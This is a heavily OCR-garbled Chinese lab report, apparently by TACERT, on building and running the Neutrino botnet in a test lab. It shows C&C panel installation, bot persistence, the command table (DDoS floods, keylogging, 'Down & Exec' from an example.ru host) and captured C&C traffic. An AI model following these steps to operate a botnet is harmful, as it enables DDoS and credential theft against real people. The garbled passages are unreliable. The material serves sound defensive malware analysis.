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¥ 7€ xk 1 B Wamp Server: 4 p & % % Apache~PHP~Mysql # PhpMyAdmin

WampServer

Apache, PHP, MySQL on Windows

2. #p-@ s Neutrino ER 1 A% f2F 15 > ¢ F Builder fr Server Side
IR R A WA KA A bot BN DERARNE CAC AT & ¥

3| e php £ 4]485¢ ©

MNeutrino Builder MNeutrino Server Side

3. tWamp Server %k 4F2 15 » #-F# % Neutrino Server Side p #¥77%
thEAF W3 C:/wampb4/www/ > 3% C&C g T 6 .35 i HITP - PHP
< 74l



}; 448 et 5 {8508 ¢ < (TACERT)
ey

\e9” TANet Computer Emergency Response Team

BiE (C) » wamp64 » www » Neutrino »

v H*EEE - =i EIEERTE
css files
fonts GeolP
inc js
logs upload
htaccess 0404
) config d| functions
g index 0| install
g redir robots
o) tasks

4, s §RFeer% hvE > ZFT £ 1 server ¢ install.php - ¢
BEc- BEEF d o MFL ‘%'Jﬁig?lf\ DB host IP -~ DB name - DB user -
DB password % PP 4% ¢ 0 Secure Key -

5. Database e = /f % %0 546 PhpMyAdmin p 22> #4 £ CC 223

P ’?\‘”7};’.&_ o

@ 127.0.0.1/Neutrino/install.php

2 < ' 2

0. f# & %7 UHkART install.php B 40 & 5 8 » e T % 30
EEM o MR IPRTE > BB Y 5 adnin o I T #- install.php%‘“]“,ﬁi

delete #d H s £ FBA1* o

&« C | ® 127.0.0.1/Neutrino/install.php

Neutrino successfully installed!

Login page - http://127.0.0.1/Neutrino/index.php?authkey=21232f297 M4a0e4a801fc3
Password - admin:admin

Delete this file!

T. B¥FAPRRi S8 6 & 0 Login page B

http://140. *. X */Neutrino/index. php?authkey=21232¥%¥¥*x*kxfc3 %
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9.

te 5L % #5 admin:admin & » C&C 1 4% -

Authorization

3978

i~ F oo fe 2 & task manager BT Eirendl 7% > Clinets # 11 ¢

Wt i@~ hbot ki 0 Keylogger &P~ bot 1 48 » # T s sk otk 5L

RATR -

G - &
R ERES-

builder 2 # 2

Command type HttpL v

By country : All countries

HIDE SHOW

v  Bybotid:

CREATE TASK

Limit

BiE 2 e RIRE > Flpt w A F bot B %l 3R T o T

g w3z CRCAF I g L AR

; ;"jh% £ %1% neutrino

Ik - i%:F Virustotal #&#] = 4/56 +* & ¢ Hacktool -
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SHA256: 11ae6b8cc346181161e33e09c650f929e9a29aa43bic 2ac 3d05fdaedc65ef748 *
fE2E #F% Neutrino v3.6 Builder [0x22].exe

s 4% .f 2

A4FEHE 2016-11-0210:07:59 UTC (2 F &)

E4f QIEFIFHESH OB O EMEN @ )

i R B
ESET-NOD32 Win32/HackTool Agent NCH 20161102
Comodo UnclassifiedMalware 20161102
Zillya Trojan Agent Win32 554819 20161101
Malwarebytes HackTool Neutrino 20161102

10. Pz neutrino builder 8 7441 > § & Foii » C&C i et » &

=

e

T % neutrino/task.php R EAE > &7 2 8K Fhbot 1 g @

task. php 3R 3] °

i | Ch\Users

v

11. #-build & R 42" neutrino. exe i5iE Virustotal # B+t & 5

44/56 > ~ % H) % % backdoor s P AR o
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SHA256:  eb4dce8945d903f65c3aeb4999d9878d6ebcc1c796201dbe349e721c5080bcbs ‘o
L=

fEE RS neutrnio exe

LIS 44156 .f 0

SAFES 2017-01-05 07-23:25 UTC ( 0 4548 &7 )

B QSR OHMEN s ORE

BiE R B

AlYac Trojan.Agent. BZYW 20170105

AVG Generic_rEQO 20170105

Ad-Aware Trojan.Agent. BZYW 20170105

AhnlLab-V3 Trojan/Win32 Dynamer R156738 20170105

Antiy-AVL Trojan[Backdoor)/Win32 Kasidet 20170105
12, f2e4p4 CRCHmB (S > £ F & 536 builder A 2 5 & R 425

neutrino. exe 2 g % 5 7B b 2 #8538 702 WinT(x86) e VM Zk 5 i 7 Plif o

13. #-neutrino. exe ** & %23 715 » %16 procexp LR 4 ¥ F AR

AR FER A A - AR £ 425 winhelp.exe *H# FR T 0 N A AR
A miEs - BB L Listening >~ & P B b AR o
Image File

'

Yersion:  nfa

Build Thu Mar 19 03:14:37 2015

Path:

C\UsershDarkhappDatatRoamingtLD931 1SRWR winhelp.exe

Comrmand line:

"C\Users\Dark\appData\Roaming \BLD931 1SR WR winhelp.exe”
Current directory:

CindowshSystem32h,
Autostart Location:

HKCUNSoftwareiMicrosoftyw indowshCurrentversionyRuniwinhelp. exe

Parent:  explorer.exef1276)

14. 3% winhelp. exe hSEAAR o B LT R L AR R i
7oAt RaE R ko I8 virustotal A1 EF 0 A

BRI B 5 4T/56 a5 {8 P AR o
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SHA256:  3bdad78a08b30ac32bd2398aTcas7h 1 1bes01dafe59c 19bde59ds 03 1a8412b
TE%ETE | neubotexe
IS 47166

SrirEE 2017-01-06 06:34:00 UTC ( 2 3, 27 /)N Hif )

BiE R

ALYac Trojan.Agent BZYW

AVG Generic_rEOO

Ad-Aware Trojan.Agent BZYW

AegisLab Backdoor W32 Kagidetlc
AhnLab-v3 Trojan/Win32 Dynamer R156738

%

15. 58 TCPview & currport 1 B2 %4k kv # Fa\auz @M%
Brow BET NG R T R v R JEETTEARN T a0 2Tk bufg st
FERE R AR e AUk R o

16. »HERLGBPAENER P B DB Boscr o

Autorun Entry Description Publisher Image Path Timestamp
# HKCU\Software\Wicrosoft\ Windows\CurrentVersion\Run 2016/12/27 ...
" '[winhelp.exe cusersidark... 2015/3/19 L.,
# HKLNSSUFTWARE\Classes\ProtocolstFilter 2016/9/1 ...
text/aml Microsoft Off... Microsoft Cor... ¢:\program fil... 2012/9/30 L.

17, el CRCEFH Ao AR AR Feafpe grazd-5 0 857

2 BOT ehft s s 72 7 4 fodtfe [P BN % T3 789 i @M BOT «

[2cten ]

Machine id Bot id :: bot name IP address os Antivirus Country Version Quality Status Action

Tea61278dfbad65ae31e707ffe019711 {e29ac6c0-7037-11de-816d- 140 Win7  N/A o HE G oo
806e6{6e6963} (32-bit) ’

1fb5643801cecafadlfbf557377065¢  {a1098f81-0bbc-11e6-b2d7- 140 Wing  Windows o 1 oe
806e6f6e6963} (64-bit)  Defender ’

18. Task manager . C&C * kT itd4y £ L BOT g A G > 2 & F A e
¥5% Http(s) DDOS ~ Slowloris DDOS ~ TCP(UDP) DDOS ~ CMD shell -
Keylogger fr T x4 {7 & o # ¢ DDOS chde (T L0t 1% 5 AR B » 7]

e AR
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Task examples
Command Options Example Desc
Http DDOS host post_[off\on] itensity threads http://example.com/ 1 1000 50 HTTP]
HttpS DDOS host itensity threads https://example.com/ 1000 50 HTTP]
Slowloris DDOS  host sleep_time threads http://example.com/ 100050 ~  ------
Download Flood host itensity threads http://example.com/file.ext 1000 50 -------
UDP DDOS ip port sleep_time threads 127.0.0.12510050 -
TCP DDOS ip port sleep_time threads 127.0.0.12510050 -
Find file filename.ext count notepad.exe 3 You ¢
CMD shell command param notepad readme.txt
Keylogger screenshot_on_off relative_text_in_the_window_name 1 paypal|perfect 1-on
Update http://fexample.ru/fileexe — ——0
Down & Exec http://example.ru/file.ext param http://example.ru/bot.exe debug ~ —-
Bot killer noparam e
g =L 2 % 2 [P jg =, = sz
19. #%iplza- & UDP e DDOS 4 sc# p 38 ehi 48 > © s s C/C 4q 4 #F i
' 2 2 . A= 92 sy ¥ 2
gt o ik 5 4 41 Command =i i 5 45 % % 1P 2 port 5ifr ¥k
Ly — 2 7= Y < . [P o z, ~
status % ¢ &7 & &3 77 > country 5 £0% 8 32 bot AR %] > 4t B A
2 & A3 TWN 0 BOT 6 ¢ 3 8952 % -
# User Task ID Creation date Command Status Executed \ Need \Failed Country Action +
0 admin 1483926207384060 2017-01-09 01:43:27 |udp 140. 25100 50 I [ sTART | 0\0\0 [ >EX

Command type:

By country : All countries v  Bybotid: Limit:

CREATE TASK

20, B EERAP2 Wireshark 8145 BOT shie i 4t ¢ g > 3 3%

HTTP POST = 3¢ & A i 280 #)» C&C = task. php % ¥ 4t ¢

e s A A HITP/1.1 404 Not Found e

7 BOT ¢ 12

» e §_C&C
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21.

22.

No. Time Source Destination Protocol Length  Info
36 465.622363 140. 1 140, n HTTP 436 POST /Neutrino/tasks.php HTTP/1.8 (
38 465.838943 148. = 148. HTTP 517 HTTP/1.1 404 Not Found  (text/html)
56 745.605444 148. ] 148. HTTP 436 POST /Neutrino/tasks.php HTTP/1.@ (
57 745.636500 140. T 140. HTTP 517 HTTP/1.1 404 Not Found (text/html)
83 1025.623255  148. 1 140. HTTP 436 POST /Neutrino/tasks.php HTTP/1.@ (
84 1025.662060 140. L 140. HTTP 517 [HTTP/1.1 484 Not Found (text/html)
110 1305.621615 140, ] 140, = HTTP 436 POST /Neutrino/tasks.php HTTP/1.@ (
111 1305.654939 140, 1 140, HTTP 517 HTTP/1.1 484 Not Found (text/html)

7 ik 4 session #t# p F o BOT # £ 4t # chcontent ® # 7 & % 1 8
F 3 0 G uid ~ 0S3= A ~antivirus 3 # ~ bot =4 % i & quality *
e m CQCwARep F ¢ 3 — K basebd code
" DEBUGMTQWMTA3NjM4NjcxNTc2NiNyYXRIIDUJDEBUG | @ 345 15 &

"' DEBUG1401076386715766#rate S#DEBUG |- #* session %{BOT F T

3R il SR e

[POST /Neutrino/tasks.php HTTP/1.8]

Host: 1480.

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.8) Gecko/20100101 Firefox/35.0
Content-type: application/x-www-form-urlencoded

Cookie: authkeys=21232f297a57a5a743894a0e4a801Fc3

Content-length: 115

cmd=18uid=%7Be29acbc8%207037%2D011de%20816d%20806e6f6e6963%7D&0s=Win%207%20(32-bit)&av=N
Fe252FA&version=3.6&quality=6HTTP/1.1 484 Not Found

Date: Tue, @83 Jan 2017 03:19:44 GMT

Server: Apache/2.4.23 (Win64) PHP/5.6.25

X-Powered-By: PHP/5.6.25

Content-Length: 253

Connection: close

Content-Type: text/html; charset=utf8

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></
HEAD><BODY><H1>Not Found</H1>The requested URL /Neutrino/tasks.php was not found on this server.</BODY></
HTML><!--|DEBUGHTQwMTABNjM4NjcxNTcZNiNyYXRlIDUjDEBUG|-->

% BOT &4 Ri45c4t ¢ » & C&C ™ Erc i £ 18+ § £ 4275 queue &7
PEsh % #BOT T - = C&C % task. php 4 3115 » C&C o #sc 4y 4
%~ content W % BOT > # i C&C - # ¢ f header 2% 4 &7 http/1. 1

404 Not Found - & * —‘F‘ﬁ;‘?—,l‘l LE WAL preho
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23.

24.

20.

POST /Neutrino/tasks.php HTTP/1.0

Host: 148. -

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Content-type: application/x-www-form-urlencoded

Cookie: authkeys=21232f297a57a5a743894abedaB01fc3

Content-length: 115

cmd=1&uid=%7Be29acbc@%2D7037%2D011de%2D816d%2D806e6f6e6963%7D&os=Win%207%20(32-bit)&av=N
%252FA&V9r‘sicm=3.G&qualityﬂtHTTP/l.l 484 Not Found

Date: Tue, @3 Jan 2017 ©3:24:23 GMT

Server: Apache/2.4.23 (Win64) PHP/5.6.25

X-Powered-By: PHP/5.6.25

Content-Length: 317

Connection: close

Content-Type: text/html; charset=utf8

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.@//EN"><HTML><HEAD><TITLE>484 Not Found</TITLE></
HEAD><BODY><H1>Not Found</H1>The requested URL /Neutrino/tasks.php was not found on this server.</BODY></
HTML><! - -
DEBU(*WTQMTABNjMNjcxNTcZNiNyYXRlIDUjMTQMzQwNzk30TUx0TQBOSN12HAgMTQaLjExNy43Mi4zMCAyNSAmHDAgNTAJIw=4)EBUG --
)

FRB-CRC w BN B ¥aAE 1) basebd fRFg 0 1B aop FRER 5 C&C sk
i s 2l A7 e ¥ IP % port # F3u

Decode from Base64 format

Simply use the form below

MTQWMTA3NjMANJCXNTC2NINYY XRIDUMTQ4MZQWNZK30TUXOTQOOSN1ZHAgM
TQWLJEXNy43MidzZMCAYNSAXMDAGNTAJIw==

< DECODE > UTF-8 ¥ (You may also select input charset.)

1401076386715766#rate 5#1483407979519449%

% BOT ehiplékat e - & BOT #_task. php ¥ & {c3lsc iy £ 1 > %g
# 4ie 7 UDP DDOS 52 % » & & ¢ 12 50 & thread = < F H# & 7% T~ ]

3t ¢ ehFlood s # -

No. Time Source Destination _Protocol Length  Info

3 578 1586.810762 140, = 140. = ubp 95(51234-+25 Len=53

1 579 1586.811157 146, @A B 2 14@. - ubp 95151235+25 Len=53

: 580 1586.811551 140.F | 140, &8 N = ubp 672|51217-25 Len=630
3 581 1586.811996  140. 140. B = 5.0 uppP 672]51218-+25 Len=630
3 582 1586.812385  140. L 14@. - uppP 672)51219+25 Len=630
3 583 1586.812782 140.mE AW 14@. - uppP 672]51220-+25 Len=630
: 584 1586.813191  140. 146. B & N5 upp 672)51221-+25 Len=630
: 585 1586.813607  140. = 140. o} uppP 672)51222-+25 Len=630
3 586 1586.814022 149. W8 B &l 14@. - upP 6725122325 Len=630
: 587 1586.814410 140.m " RoE 140. ui uppP 672)51224~25 Len=630
} 588 1586.814796 140. & - 140. 0 " .0 LUDP] 67251225-+25 Len=630

2 BOT 4 e TCPview BB sc B pF ik A > %] 52 B R ARV R 4 7 12 2T %
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Hetie

F_*

SAhd o BB AR F RS [P 8 o f A D

7 UDP flood s<# » @ se ¥ chE R A2\ /27 ﬁﬁ»{fn = winhelp. exe

:%‘ o

Process + PID  Protocol Local Ad... Local P...[Rem.. Ee.. |State  SentPa.. Sent By...
"lwinhelpexe 676 TUDP 0.0.00 51742 * * 781 181,496
"lyinhelp.exe 676 UDP 0.0.00 51743 * * 787 183,035
“lyinhelpexe 676 UDP 0.0.00 51744 * * 784 182,504
"Iwinhelpexe 676 TUDFP 0.0.00 51745 o * 783 182393
"lyinhelpexe 676  TUDP 0.000 51746 * * 784 182504
"lwinhelp.exe 676 UDP 0.0.00 51747 * * 785 182,767
"lyinhelpexe 676 UDP 0.0.00 51748 * * 736 182965
“lyianhelpexe 676  UDP 0.0.00 51749 * * 782 181,981
"Iwinhelpexe 676 TUDF 0.0.00 51750 o * 784 182,504
"lwinhelpexe 676 TUDP 0.000 51751 * #* 785 1827767
"lwinhelp.exe 676 UDP 0.0.00 51752 * # 784 182,504
"lwinhelp.exe 676 UDP 0.0.00 51753 * * 736 182965
" lyinhelp.exe 676 UDP 0.0.00 51754 * * 784 182,504
"lwinhelpexe 676 TUDP 0.000 51755 o * 7R3 182767
"lwinhelpexe 676 TUDP 0.0.00 51756 i * 783 182393

26, WY -BERAG RCE LR - F2E e CRC F 2T 5 7 L5 H
bR CRC A g e kg Eyendan > ¥ 2 0 HITP GET = 5 & 74
7 i %8 [D 2 Ei% start & stop » @ C&C #2372 cookie ¢ authkey &_

B FEents o § o BOT 5 % scff 4 £

GET /Neutrino/index.php?hctztasks&task_id:148392628738486@&task:start|HTTP/1.1

Host: 14@. CNC IP

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Windows NT 1©.0; WOWe4) AppleWebKit/537.36 (KHTML, like Gecko) Ch
Accept: text/html.application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer:|http://140. /Neutrino/index.php?act=tasks

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.6,en;gq=0.4

Cookie: |authkey=21232f297a57a5a743894a0edag01fc3} PHPSESSID=flvejodimcucdqgljhavo7fsma

HTTP/1.1 200 OK

Date: Mon, @9 Jan 2017 ©3:14:02 GMT

Server: Apache/2.4.23 (Win64) PHP/5.6.25

X-Powered-By: PHP/5.6.25

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-control: no-store, no-cache, must-revalidate, post-check=@, pre-check=0

27, » BOT B RA2: B 5 BAF R G enst i o Sqds b PR * F g »
HARELR AL 0 HE O F o B BT e g~ DR S E A L AR

Tk o gt BT Yahoo #Rl3E 0 4 4 5 keylogger 1 Yahoo °

10
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{ Neutrino bot }
ol Stat A Clie ki File @ Formgrabbe gger log &= CC Log £ Setting
®upload  C*Logout
# User Task ID Creation date Command Status Executed | Need \ Failed Country Action
0 admin  1483933814447455  2017-01-0903:50:14 | keylogger 1 Yahoo 1511010 Q@ >EX
{ Neutrino bot } e st 2 clie B File Q@ rorn @ C Joolt L se
(O] GLo

Filename : SEARCH

# Country IP adrress (5) Filename Date Size Action
0 = 140. | 140. 240728 logs.rar | 2017-01-09 03:59:34 235.09 KB i,ﬁﬂ

28. TR logs.rar #hk fE 0 ARG € F SRR B FH 2 I

FEdk RAGOP 2 2 FF R 0 A B 5 Yahoo tREL ID £ B -

ﬂu»

jn me—— ’jﬂsﬁ1

CLIPBRD:
1 paypal|perfect

[ Yahoo3F - B A - Windows Internet Explorer | Time - 1]

R
ahoo - hesedREYE{T - Windows Internet Explorer | Time

~ oy o W N

[ee)

29. #3¥ P& HTTP DDOS s<# - C&C + BOT # ¥ 3r+41& 4 » 3% & £ 2 basebd

f355 {8 18 ﬁrrzﬁp:?—‘kaP”“‘ ) é%%ﬁ%ﬁﬁ:&?

POST /Neutrino/tasks.php HTTP/1.8

Host: 148

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100181 Firefox/35.0
Content-type: application/x-www-form-urlencoded

Cookie: authkeys=21232f297a57a5a743894a0ed4a801fc3

Content-length: 115

cmd=1&uid=%7Be29ac6c8%2D7037%2D11de%20816d%2D806e6f6e6963%7D&0s=Win%207%20(32-bit)&av=N
%252FA&version=3.6&quality=0HTTP/1.1 484 Not Found

Date: Tue, 1@ Jan 2017 03:47:80 GMT
Server: Apache/2.4.23 (Win64) PHP/5.6.25
X-Powered-By: PHP/5.6.25

Content-Length: 325 14010763867 15766#rate 541484019972470947#http http://140. /11000
Connection: close 504 b decod
Content-Type: text/html; charset=utf8 ase64 decode

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></
HEAD><BODY><H1>Not Found</H1>The requested URL /Neutrino/tasks.php was not found on this server.</BODY></

HTML> L
DEBUG TQL-.MTABN]'MN]‘cxNTc2NiNyYXR1IDUjMTQANDAxOTkBMjQSMDkBNyNodHRwIGthHAGLyBxNDAuMTEBLjcijMuLyAxIDE1MDAgNTAj|
DEBUG --> base64 encode

30. HTTP DDOS s # f# #£ 5% % * kfpk et > ¥4 ik # 1% HTTP request

11
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ARG REE TP Z e LR £ D FE R

No Time Source Destination Frotocol Length Info
41 234,944789 148. 148. HTTH 317|GET / HTTP/1.1
47 234.946337 140. 140. HTTH 317 |GET / HTTP/1.1
52 234.947314 140. 140. HTTH 317|GET / HTTP/1.1
57 234.948523 148. 148. HTTH 317|GET / HTTP/1.1
64 234,949964 140. 140. HTTH 317|GET / HTTP/1.1
67 234.950433 148. 148. HTTH 317|GET / HTTP/1.1
74 234.952109 148. 148. HTTH 317|GET / HTTP/1.1
77 234,952551 148. 140. HTTH 317 |GET / HTTP/1.1
85 234.954759 148. 148. HTTH 317 |GET / HTTP/1.1

3l. 2% % »~ CQCE# LA & 12 & Statistics T #¢ ¥ 15 31475 3% C&C

F 3 HBOT B 423> 2 & 5 OSs% A {rM % F3 2 % online & offline

online bots : @) Offline bots : @8 Hour bots : @@ Today bots : @@ Total bots : @) Banned ip : )

CLEAR STAT CLEAR OFFLINE CLEAR BANNED

[Total] Country Online Offline [Top 10 today] Country Bots Percent

[l Taiwan [TW] 1 1

[0s] statistics
Win 7 (32-bit)

Win 8 (64-bit)

12
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b2 e e i
Bots

STEP 2
1.Bots FBECKCEWIES
2.{£AKeyloggerf&EXbotsiRZ

STEP 3
HTTP - TCP - UDP

& DDOeE HTTP POST
STEP 1
HTTP EA#ZHIER
TEREES
-
T tiye C&C fApRse
WA S 5% 140.X.X.X:80

4 o

7 % EEHTTP & » CRC L4 endp £ 417 & o
2. XBE %7 bR % bots € 2 HTTP POST » C&C w 4R I qzdp 4 -
3. 7B % %o bots MR ELRAE T iy € 4% keylogger Rl&Fw B 4% C&C -

4. 5 Bots fz 3| C&C thsc B dp £ 16 » B o £ 22 848 & DDOS 52 ¥ - -

I. 2% % %8 Builder 2 & = oAz > F-CRC EuL B ~H P o

i F C&C fnk § 1

c?;‘

L LR BRI EE S -

B AR 4% bot 215 € B 280 fyw C&C 2 8 HITP POST w 4% -

PP".N

#t ) bot HE & 425" winhelp. exe I 7 ¢ 2 = Listening port 2 % #F C&C
BFEd o~ ooa A de CCHREHIE4 -

5. C&C ¥ % % bot mrz?a‘ﬁ £ & 12 basebd = 3N g HTTP reply p % -
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1. https://cleanupmalware.wordpress.com/tag/neutrino-bot/

Neutrino bot Description

Neutrino bot is newly created by cyber hackers and detected by Norton Antivirus. It can
infect a computer by exploiting operating system vulnerability and it has the ability to
expose vour computer to download other malware like Trojan horse
Dropper.Generic8. AXHI Virus. The Trojan can root deeply and evade the removal of
security tools installed with the system. Even though AVG can detect this type of virus,
it won’t be able to remove it. The Trojan is equipped with a rootkit function. With the
function, it can gain unauthorized access to a computer’s operating system and avoid

being removed. As a result, anti-malware program can not detect anything related to this
malware.

2. http://www.enigmasoftware.com/neutrinobot-removal/

Neutrino Bot Description

The Neutrino bot a.k.a. Win32/Kasidet is a piece of malware designed to perform several malicious operations, namely HTTP
flooding, TCP flooding, UDP flooding and download flooding. Additionally, criminals may use the Neutrino bot to grab information
entered in online forms, record keyboard strokes, connect with the infected machine via the web browser and update their
malware. The Neutrino bot has very small file (50kb) which allows it to have light system resources consumption and ability to
work under a restricted account. Computer users may be interested to know that the Neutrino/Kasidet malware can spread via
USB drives and archive files. Criminals can purchase the Neutrino bot online for $250 and execute malicious activities that may

allow them to steal your banking details, and record your input data. A credible anti-spyware solution can protect you from the
Neutrino Bot.

3. https://blog.malwarebytes.com/threat-analysis/201508/inside-neutrino-botn

et-builder/

Inside Neutrino botnet builder

Posted August 19, 2015 by hasherezade

It is common practice among cybercriminals to sell their products in the form of packages,

consisting of:

« amalicious payload - a frontend of the malware that is used for infecting users

« a C&C panel - a backend of the malware, usually designed as a web-application, often
dedicated to LAMP environment

« abuilder - an application used for packing the payload and embedding in it information

specific for the interest of the particular distributor (the C&C address, some configuration,
etc)
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